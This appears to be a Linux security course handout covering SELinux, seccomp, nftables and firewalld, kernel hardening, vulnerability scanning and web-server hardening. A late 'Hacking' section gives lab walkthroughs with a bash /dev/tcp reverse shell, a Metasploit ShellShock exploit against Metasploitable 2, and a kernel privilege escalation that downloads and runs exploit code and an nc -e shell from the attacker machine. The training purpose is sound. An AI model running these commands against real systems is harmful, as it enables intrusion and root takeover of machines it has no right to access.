```

set boolean permanently (-P)

example -> 1 = on or true

```
setsebool -P use_virtualbox 1
```

Step 3 - possibility 3: create a module

find entries for specific commands

```
ausearch -c 'systemd_journal' --raw
```

now create amodule

```
ausearch -c 'systemd_journal' --raw | audit2allow -M systemd_journal_fixer
```

now if you want have a look into the module

```
cat systemd_journal_fixer.te
```

Step 3 - possibility 3: Install module

```
semodule -i systemd_journal_fixer.pp
```

```
### What is best: setsebool, semanage, create module

  * Best things first
    1. setsebool (only, if it only opens a small subset of allow-rules)
    1. semanage
    1. create module (last resort)
  * Verify what rules are triggered when using setsebool (might be a lot like in
nis_enabled)
  * Refer to [Using booleans](#selinux---working-with-booleans)


### General
```

Find out which problems you had

cd /var/log/audit sealert -a audit.log > report.log

Alternative - look into messages and find uid

vi messages sealert -l de929621-a863-4f2f-ac74-4453138c8c08

With both you answers how to proceed

in case of a port missing

e.g.

which port type belongs to 80

semanage port -l | grep 80

add you port to that list

semanage port -a -t http_port_t -p tcp 85

```
## Docker / Podman with Seccomp

### Restricting Syscall in Docker/Podman


### Walkthrough (docker)
```

Step 1: Download default.json

From:

cd /usr/src && wget https://raw.githubusercontent.com/docker/labs/master/security/seccomp/seccomp-profiles/default.json

Step 2: remove chmod from syscall in json + rename file to no-chmod.json

Step 3:

docker run --rm -it --security-opt seccomp=no-chmod.json alpine sh / # chmod 777 /etc/services chmod: /etc/services: Operation not permitted

```
### Walkthrough (podman)
```

dnf install -y podman

enable and start podman

systemctl enable --now podman

Step 1: Download default.json

From:

cd /usr/src && wget https://raw.githubusercontent.com/docker/labs/master/security/seccomp/seccomp-profiles/default.json

Step 2: remove chmod from syscall in json + rename file to no-chmod.json

Step 3:

podman run --rm -it --security-opt seccomp=no-chmod.json alpine sh / # chmod 777 /etc/services chmod: /etc/services: Operation not permitted

```
### References

  * https://docs.docker.com/engine/security/seccomp/
  * https://martinheinz.dev/blog/41

## Attacks

### Slow loris Attack - apache


### References / Solutions

 * https://www.acunetix.com/blog/articles/slow-http-dos-attacks-mitigate-apache-http-
server/

## Firewall
```

```
### nftables


### Generally ;o)
```

In IPtables, -> several chains and tables that are loaded by default.

iptables -L

In nftables, there are no default chains or tables.

```
### Ubuntu 20.04LTS -> 20.10
```

Starting from Ubuntu 20.10 it will be the default system -> nftables

```
### nftables in Debian / Centos 8
```

nftables are use by default in Debian 10,11 (by using iptables -> which are translate to nft)

```
### Walkthrough / migration to nftables

#### take care of current rules
```

iptables-save > fwrules.txt cat fwrules.txt iptables-restore-translate -f fwrules.txt iptables-restore-translate -f fwrules.txt > ruleset.nft

```
## now installing nftables
```

apt install nftables

important -> iptables will still work then

apt install iptables-nftables-compat # not needed for ubuntu 20.04

systemctl enable --now nftables.service

```
## now load the rules to nft
```

nft -f ruleset.nft nft list ruleset

```
### Examples nft
```

##review current configuration: root@host [~]# nft list ruleset

##Add a new table, with family "inet" and table "filter": root@host [~]# nft add table inet filter

##Add a new chain, to accept all inbound traffic: root@host [~]# nft add chain inet filter input { type filter hook input priority 10 ; policy drop ; }

##Add a new rule, to accept several TCP ports: root@host [~]# nft add rule inet filter input tcp dport { ssh, telnet, https, http } accept

##To show rule handles: root@host [~]# nft --handle --numeric list chain family table chain

show handles and numbers

nft --handle --numeric list ruleset

##To delete a rule: root@host [~]# nft delete rule inet filter input handle 3

##To save the current configuration: root@host [~]# nft list ruleset > /etc/nftables.conf

```

### Deleting rules / all rules
```

handle is an internal number that identifies a certain rule.

nft flush rule filter output nft flush table filter

```


### Create a firewall config
```

flush ruleset

List all IPs and IP ranges of your traffic filtering proxy source.

define SAFE_TRAFFIC_IPS = { x.x.x.x/xx, x.x.x.x/xx, x.x.x.x, x.x.x.x }

table inet firewall {

```
chain inbound {

    # By default, drop all traffic unless it meets a filter
    # criteria specified by the rules that follow below.
    type filter hook input priority 0; policy drop;

    # Allow traffic from established and related packets.
    ct state established,related accept

    # Drop invalid packets.
    ct state invalid drop

    # Allow loopback traffic.
    iifname lo accept

    # Allow all ICMP and IGMP traffic, but enforce a rate limit
    # to help prevent some types of flood attacks.
    ip protocol icmp limit rate 4/second accept
    ip6 nexthdr ipv6-icmp limit rate 4/second accept
    ip protocol igmp limit rate 4/second accept

    # Allow SSH on port 22.
    tcp dport 22 accept

    # Allow HTTP(S).
    # -- From anywhere
    tcp dport { http, https } accept
    udp dport { http, https } accept
    # -- From approved IP ranges only
    # tcp dport { http, https } ip saddr $SAFE_TRAFFIC_IPS accept
    # udp dport { http, https } ip saddr $SAFE_TRAFFIC_IPS accept

    # Uncomment to allow incoming traffic on other ports.
    # -- Allow Jekyll dev traffic on port 4000.
    # tcp dport 4000 accept
    # -- Allow Hugo dev traffic on port 1313.
    # tcp dport 1313 accept

    # Uncomment to enable logging of denied inbound traffic
    # log prefix "[nftables] Inbound Denied: " flags all counter drop

}

chain forward {

    # Drop everything (assumes this device is not a router)
    type filter hook forward priority 0; policy drop;

    # Uncomment to enable logging of denied forwards
    # log prefix "[nftables] Forward Denied: " flags all counter drop

}

chain outbound {

    # Allow all outbound traffic
    type filter hook output priority 0; policy accept;

}
```

}

```


#### Ref:

  * https://wiki.nftables.org/wiki-nftables/index.php/Simple_ruleset_for_a_server
  * https://firewalld.org/documentation/man-pages/firewalld.conf.html



### Some commands ;o
```

add chain

lower priority first

nft add chain inet example_table example_chain { type filter hook input priority 10 ; policy drop ; }

append at the end

nft add rule inet my_table my_filter_chain tcp dport ssh accept

add at the beginning

nft insert rule inet my_table my_filter_chain tcp dport http accept

```
### revert back to iptables
```

‘firewallbackend‘ entry in /etc/firewalld/firewalld.conf back to ‘iptables‘,

```


### References

  * https://www.liquidweb.com/kb/how-to-install-nftables-in-ubuntu/
  * https://wiki.nftables.org/wiki-
nftables/index.php/Configuring_chains#Base_chain_priority


### firewalld


### Install firewalld



### Is firewalld running ?
```

is it set to enabled ?

systemctl status firewalld firewall-cmd --state

```
### Command to control firewalld

  * firewall-cmd


### Show information about all zones that are used
```

firewall-cmd --list-all

```
### Best way to add a new rule
```

Step1: do it persistent -> written to disk

firewall-cmd --add-port=82/tcp --persistant

Step 2: + reload firewall

firewall-cmd --reload

```
### Zones documentation

man firewalld.zones

### Zones available
```

firewall-cmd --get-zones block dmz drop external home internal public trusted work

```
### Active Zones
```

firewall-cmd --get-active-zones

in our case empty

```
### Show information about all zones that are used
```

firewall-cmd --list-all firewall-cmd --list-all-zones

```
### Add Interface to Zone ~ Active Zone
```

firewall-cmd --zone=public --add-interface=enp0s3 --permanent firewall-cmd --reload firewall-cmd --get-active-zones public interfaces: enp0s3

```
### Default Zone
```

if not specifically mentioned when using firewall-cmd

.. add things to this zone

firewall-cmd --get-default-zone public

```
### Show services / show service details (Which ports?)
```

firewall-cmd --get-services firewall-cmd --info-service=http

```
### Adding/Removing a service
```

```
firewall-cmd --permanent --zone=public --add-service=ssh firewall-cmd --reload firewall-cmd --permanent --zone=public --remove-service=ssh firewall-cmd --reload
```

```
### Add/Remove ports
```

```
firewall-cmd --add-port=82/tcp --zone=public --permanent
```

```
### Allow only specific sources
```

```
firewall-cmd --add-source=192.168.33.11
```

```
### Enable / Disabled icm
```

```
firewall-cmd --get-icmptypes
```

none present yet

```
firewall-cmd --zone=public --add-icmp-block-inversion --permanent firewall-cmd --reload
```

```
### Working with rich rules
```

Documentation

man firewalld.richlanguage

throttle connectons

```
firewall-cmd --permanent --zone=public --add-rich-rule='rule family=ipv4 source address=10.0.50.10/32 service name=http log level=notice prefix="firewalld rich rule INFO: " limit value="100/h" accept' firewall-cmd --reload # firewall-cmd --zone=public --list-all
```

port forwarding

```
firewall-cmd --get-active-zones firewall-cmd --zone=public --list-all firewall-cmd --permanent --zone=public --add-rich-rule='rule family=ipv4 source address=10.0.50.10 forward-port port=42343 protocol=tcp to-port=22' firewall-cmd --reload firewall-cmd --zone=public --list-all firewall-cmd --remove-service=ssh --zone=public
```

list only the rich rules

```
firewall-cmd --zone=public --list-rich-rules
```

persist all runtime rules

```
firewall-cmd --runtime-to-permanent
```

```
### Install firewalld and restrict ufw (Ubuntu)
```

apt install firewalld systemctl status firewalld systemctl status ufw

ufw service is still running, but :

ufw status -> disabled # this has to be the case

systemctl disable --now ufw.service

```



### References

  * https://www.linuxjournal.com/content/understanding-firewalld-multi-zone-
configurations#:~:text=Going%20line%20by%20line%20through,or%20source%20associated%20wit

  * https://www.answertopia.com/ubuntu/basic-ubuntu-firewall-configuration-with-
firewalld/

## Kernel Hardening

### modules_disabled,unprivileged_bpf_disabled,kexec_load_disabled


### Hardening params
```

Prevent loading of modules after a specific timeframe after boot

kernel.modules_disabled=1

Disable live patching

kernel.kexec_load_disabled=1

You are not using berkeley package filter

disable loading of modules

kernel.unprivileged_bpf_disabled=1

```
### Tools

#### Lockdown
```

Interesting script to do some restrictions

https://gitlab.com/taggart/lockdown

```
### Disable TCP timestamps


### Why ?
```

When timestamps are enabled, attacker can find out how long the system is already running.

By so, he can evtl findout the patch - level of the system.

```
### Test (Centos)
```

Enabled

main (Server): yum install httpd systemctl start httpd sysctl net.ipv4.tcp_timestamps net.ipv4.tcp_timestamps = 1

secondary (Server): yum install epel-release yum install hping3 hping3 -S -p 80 --tcp-timestamp

now switch it off

main (server): sysctl net.ipv4.tcp_timestamps = 0

secondary (server): hping3 -S -p 80 --tcp-timestamp

```
### Ref:

https://netsense.ch/blog/tcp-timestamps/

## Vulnerability Scans

### OpenVAS Installation on Ubuntu


### Working with Vagrant
```

1. Install:

virtualbox vagrant git for windows

2. Create the box

click context-menu -> git bash here

mkdir ubuntu cd ubuntu vagrant init ubuntu/focal
vagrant up vagrant ssh # log into the box

```
### Installation for version GVM 20.08 (2021-05-19)
```

Variant 1: Install on Ubuntu Server 20.04: as follows: https://launchpad.net/~mrazavi/+archive/ubuntu/gvm

or Variant 2: docker-container (not tested from my side)
https://github.com/admirito/gvm-containers

```


### Installation for version GVM 11


##  OpenVAS (Ubuntu 20.04LTS)

### Requirements

  * tested with 1 GB and 25 GB -> does not work,
    df -> 100% // GMP error during authentication -> when trying to login
  * tested with 2 GB and 50 GB -> WORKS !

### openvas -> gvm (Greenbone Vulnerability Management) / mrazavi
```

Installation on Ubuntu 20.04 LTS https://launchpad.net/~mrazavi/+archive/ubuntu/gvm

https://www.osboxes.org/ubuntu/

Done with vagrant init ubuntu/focal64 instead

postgresql is needed

sudo apt install -y postgresql sudo add-apt-repository ppa:mrazavi/gvm sudo apt install -y gvm

only from one machine (when same source ip) at a time

greenbone-nvt-sync sudo greenbone-scapdata-sync sudo greenbone-certdata-sync

You can access the Greenbone Security Assistant web interface at:

https://localhost:9392

The default username/password is as follows:

Username: admin Password: admin

You can check the status of greenbone daemons with systemctl:

systemctl status ospd-openvas # scanner systemctl status gvmd # manager systemctl status gsad # web ui

change /etc/default

https://:9392

```

Documentation
https://docs.greenbone.net/GSM-Manual/gos-20.08/en/web-interface.html

### PDF - Generation
```

2 packages are needed for the pdf-generation:

apt install -y texlive-latex-extra --no-install-recommends apt install -y texlive-fonts-recommended

after having installed these, pdf generation works !

```


### OpenVAS Background

  * https://www.greenbone.net/en/product-comparison/

### Nikto - commandline


### Walkthrough (Debian / Ubuntu)
```

Debian 10

apt install nikto nikto -h http://main

```

### Walkthrough (Centos 8/Redhat 8)
```

root do

dnf install -y perl git cd /root
git clone https://github.com/sullo/nikto cd nikto/program

```


## Securing Network Services

### Securing Tomcat (Standalone)


### Run Behind nginx / apache

### Change Server-Header
```

/conf/server.xml

```

### Enable ssl
```

In server.xml under Connector

SSLEnabled="true" scheme="https" keystoreFile="ssl/keystore.jks" keystorePass="somepass" clientAuth="false" sslProtocol="TLS"

```
### Force ssl
```

Protected Context /* CONFIDENTIAL

```
### Prevent XSS - attacks (Clients side scripts) on cookies

  * https://owasp.org/www-community/HttpOnly

### Delete unnecessary apps
```

[root@main webapps]# ls -lt drwxr-xr-x 14 tomcat tomcat 4096 Sep 29 15:26 docs drwxr-xr-x 7 tomcat tomcat 4096 Sep 29 15:26 examples drwxr-xr-x 5 tomcat tomcat 4096 Sep 29 15:26 host-manager drwxr-xr-x 5 tomcat tomcat 4096 Sep 29 15:26 manager drwxr-xr-x 3 tomcat tomcat 4096 Sep 29 15:26 ROOT

```
### Standard-Exception - Seite und Fehlerseiten erden
```

web.xml 404 /error.jsp 403 /error.jsp 500 /error.jsp java.lang.Exception /error.jsp

```
### Run with security manager
```

Start tomcat with open "-security" This imposes the security manager

debian 10

Enable SECURITY_MANAGER = true

in /etc/default/tomcat9

https://tomcat.apache.org/tomcat-9.0-doc/security-manager-howto.html

```
### Ref:

  * https://geekflare.com/de/apache-tomcat-hardening-and-security-guide/

### Securing apache (Centos 8)


### Prerequisites
```

php should be installed - to see how to secure it

dnf install -y php echo "" > /var/www/html/info.php

mkdir /var/www/html/daten touch /var/www/html/daten/datei1.html touch /var/www/html/daten/datei2.html

```
### Testing with curl
```

curl -I http://192.168.33.10

curl -I http://192.168.33.10/info.php

```
### Be sure to restrict communication (headers)
```

##vi /etc/httpd/conf.d/z_security.conf ServerTokens prod

also disable server signature,

just to be sure, it will ap

But this should already be the case by default

ServerSignature off

```
### Restrict information from php (Centos 8 with php-fpm)
```

grep -r php_expose /etc ##vi /etc/php.ini

find line with php_expose = On

replace by

php_expose = off

to take effect reload php-fpm service

systemctl list-units | grep php systemctl reload php-fpm # reload is sufficient

and finally check from other server

curl -I http://192.168.33.10/info.php

no php-version sould be visible with X- header

```
### Disabled directory listing (Version 1: Best solution)

  * Please use this !!!, if you do not need diretory listing at all on server
```

Testing from other machine

you should not see a directory listing

curl http://192.168.33.10/icons/

Step 1

in /etc/httpd/conf.modules.d/00-base.conf

find line

LoadModule autoindex_module modules/mod_autoindex.so

and comment it

##LoadModule autoindex_module modules/mod_autoindex.so

Step 2

overwrite autoindex.conf in /etc/httpd/conf.d

Why ? to be sure, that update process, does not create

echo " " > /etc/httpd/conf.d/autoindex.conf

Step 3

restart

systemctl restart httpd

Step 4

finally test from other server

curl http://192.168.33.10/icons/

```
### Disable directory listing on Directory - Level (Version 1: Best solution)
```

This is needed, because Directory Indexing is activated

for icons folder within /etc/httpd/conf.d/autoindex.conf

/etc/httpd/conf.d/z_security.conf

Options -Indexes

<Directory "/usr/share/httpd/icons"> Options -Indexes

systemctl reload httpd

verify with browser

curl http://192.168.33.10

```
### Harden error-pages
```

ErrorDocument 404 " " ErrorDocument 401 " " ErrorDocument 403 " " ErrorDocument 500 " "

```
### Disable modules not used
```

Examples

/etc/conf.modules.d 00-dav.conf 00-lua.conf

disable by overwriting file

Test it before that by disabling

cd /etc/conf.modules.d/ echo " " > 00-dav.conf echo " " > 00-lua.conf

systemctl restart httpd

```
### Hardening startpage / default page
```

In most cases, apache has a default,

which is shown, when not other domain triggers

in centos this will the info-page

echo " " > /var/www/html/index.html

```
### If .htaccess is not needed, disable it altogether
```

1. Improves security (user cannot break system)
2. Better for performance

```
```

```
## 1. How to test
echo "test" > /var/www/html/test.html
echo "really-unknown-config" >> /var/www/html/.htaccess

curl -I http://192.168.33.10/test.html
## if it is working (should not), you will get a 500 Status Code
## --> Then you have to disable it
 curl -I http://192.168.33.10/test.html
HTTP/1.1 500 Internal Server Error                                      Date: Thu, 09
Dec 2021 14:43:16 GMT                                          Server: Apache
Connection: close
Content-Type: text/html; charset=iso-8859-1

## In this case -> disable it
## /etc/httpd/conf.d/z_security.conf
<Directory /var/www/html/>
```

```
AllowOverride None   # .htaccess is simply ignored
</Directory>
```

Reference

- https://httpd.apache.org/docs/2.4/de/mod/core.html#serversignature

SSL with letsencrypt apache (Centos 8)

SSL Testing / Config Hints

- https://ssllabs.com
- https://ssl-config.mozilla.org/#server=apache&version=2.4.41&config=intermediate&openssl=1.1.1k&guideline=5.6
- https://bettercrypto.org/#_apache

SSH

Tools

- https://www.ssh-audit.com/hardening_guides.html

Ref:

- Setting correct ciphers a.s.o.
- https://www.ssh-audit.com/hardening_guides.html#ubuntu_20_04_lts

ssh-ca

Refs:

- https://www.lorier.net/docs/ssh-ca.html

Virtualization

Hacking

Install Metasploitable 2

Install Metasploit on Digitalocean - Version 1 (Ubuntu)

- https://secprentice.medium.com/how-to-build-inexpensive-red-team-infrastructure-dfb6af0fe15d

Install Metasploit on Digitalocean - Version 2 (Ubuntu)

- https://webtips4u.com/guides/linux/learn-how-to-install-metasploit-framework-on-ubuntu-18-04-16-04/

ReverseShell

Control-Node main.example.com

```
## here we will issue the commands
nc -l 4444
```

Hacked node secondary.example.com

```
bash -i >& /dev/tcp/192.168.56.103/4444 0>&1
```

Hacking I - ShellShock (unprivileged permissions)

Todo 1: Prepare the target (metasploitable 2)

```
## metasploitable 2 should be up and running

## Step 1:
## als root: sudo su
## password: msfadmin
cd /usr/lib/cgi-bin
vi hello.sh
## --> content (#! /bin/bash will be the first line

##! /bin/bash
echo "Content-type: text/html"
echo ""
echo "Hello world!"

## Step 2 (permissions)
chmod 755 hello.sh

## Step 3 (test in browser of machine that can reach you metasploitable2 machine
http://192.168.10.x/cgi-bin/hello.sh
```

Todo 2: Proceed on kali

```
## Connect through ssh or use desktop -> terminal as root
msfconsole
msf>search shellshock
msf>use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf.....>options

## We need to set the path and the ip of the target (metaploitable 2) here.
msf.....>set rhost 192.168.10.198
msf.....>set targeturi /cgi-bin/hello.sh
targeturi => /cgi-bin/hello.sh

## Now we need to decide for a payload
msf.....>show payloads
msf.....>set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp

## let again check the options
msf.....>options

## IMPORTANT: If you have 2 network interfaces, you need to set the right one
msf.....>set lhost 192.168.10.169

## now let's try if it would work
msf....>check

## now let's exploit
```

```
msf....>exploit

## Try to get some info now
whoami

## Yes, we are successful
```

Ref: (normal privileges)

- https://null-byte.wonderhowto.com/how-to/exploit-shellshock-web-server-using-metasploit-0186084/

Hacking II - privilege escalation

Prerequisites

- You need to have a reverse shell open (e.g. Hacking I - Session)

Walkthrough

```
## STEP 1: Reverse shell (connected to target)
## In Reverse shell find out the kernel version
uname -a
lsb_release -a

## STEP 2: On kali
## Open 2nd kali terminal and search exploits
searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6

## find out source code c
less /usr/share/exploitdb/exploits/linux/local/8572.c

## Start apache server
systemctl start apache2

## Symbolic link to all the exploits
ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/

## Create a run file we will need later
vi /var/www/html/run
## ip will be the ip of our kali-server

##!/bin/bash
nc 192.168.10.169 12345 -e /bin/bash

## STEP 3: Reverse shell (connected to target)
## Download the files
cd /tmp
wget http://192.168.10.169/run
wget http://192.168.10.169/local/8572.c
## compiling exploit in reverse shell
gcc -o exploit 8572.c
ls -l
```

```
## Finding the pid
cat /proc/net/netlink
ps aux | grep udev

## STEP 4:
## on Kali start a listener
nc -lvp 12345

## STEP 5:
## Back on reverse shell start the exploit
## with the pid you got e.g. 2748 (that from cat /proc/net/netlink)
./exploit 2748

## STEP 6:
## Go back to kali and in your listener enter
whoami
```

Ref: (root privileges)

- https://samsclass.info/124/proj14/p18xLPE.htm

Basics

Type of Attackers

Attackers

- White Hat
- Black Hat
- Script Kiddies
- Hacktivist
- Nation States
- Organized Crimes
- Bots

Active

- Denial-of-service
- Spoofing
- Port Scanning
- Network

Passive

- Wiretapping
  - Ethernet
  - WiFi
  - USB
  - Mobile

Basic Principles

- (Assessment)
- Prevention
  - Hardening
- Detection

  - Logs
  - fail2ban (ban specific ip automatically)
  - Intrustion Detection System
- (Reaction)

Kill Chain

1. Reconnaissance
2. Weaponization (Trojaner)
3. Delivery (wie liefern wie ihn aus ?)
4. Exploit (Sicherheitslücke ausnutzen)
5. Installation (phpshell)
6. Command & Control
7. Action/Objectives (mein Ziel)

Server Automation

gitops by example (Ansible)

What is gitops ?

```
[GitOps] works by using Git as a single source of truth for declarative infrastructure
and applications.

-- Weaveworks, "Guide To GitOps"
```

Alternative: Webhooks in Ansible Tower

```
## When ever a specific webhook is triggered in gitlab
an url from ansible tower can be called to start a deployment process with ansible

https://docs.ansible.com/ansible-tower/latest/html/userguide/webhooks.html#gitlab-
webhook-setup
```

Documentation / Reference

- https://www.ansible.com/blog/ops-by-pull-request-an-ansible-gitops-story

Starting

How to begin with security/securing

Which services are running and are they needed ?

```
lsof -i
```

```
A. If not needed uninstall

B. If needed, restrict
o Do the need to listen to all interfaces ? (or restrict)
```

Protect single services

```
Strategy 1: Simple Start.

A. firewall (only specific in and outgoing traffic)

o Best: Ingress - Only incoming traffic from trusted sources
o Egress: Only allow outgoing ports if needed (and only from needed sources (ip's))

B. What is this service allowed to on OS

o SELinux -> are rules present // only specific files / only specific ports

o Restrict configuration
## Understand how each service can protected
  o Who is allowed connect (restrict as much as possible)
  o Encryption possible, which ciphers, which protocols (SSL, not SSLv2)
  o Only use modules, that are really necessary (disable everything)
  o Acess to specific folders (apache)
  o What does service propagate (Version-Nr, OS, Additional Data) -> Restrict
  o Weak configuration settings (Protocol 1 - ssh)

C. harden OS

D. Baselining (IDS) HIDS - Host Introduction

E. Network Intrusion Detection

Strategy 2: Use reports as a basis (OpenSCAP, OpenVAS, nikto, nmap)


Strategy 3: per checklist (Telekom)
```

Documentation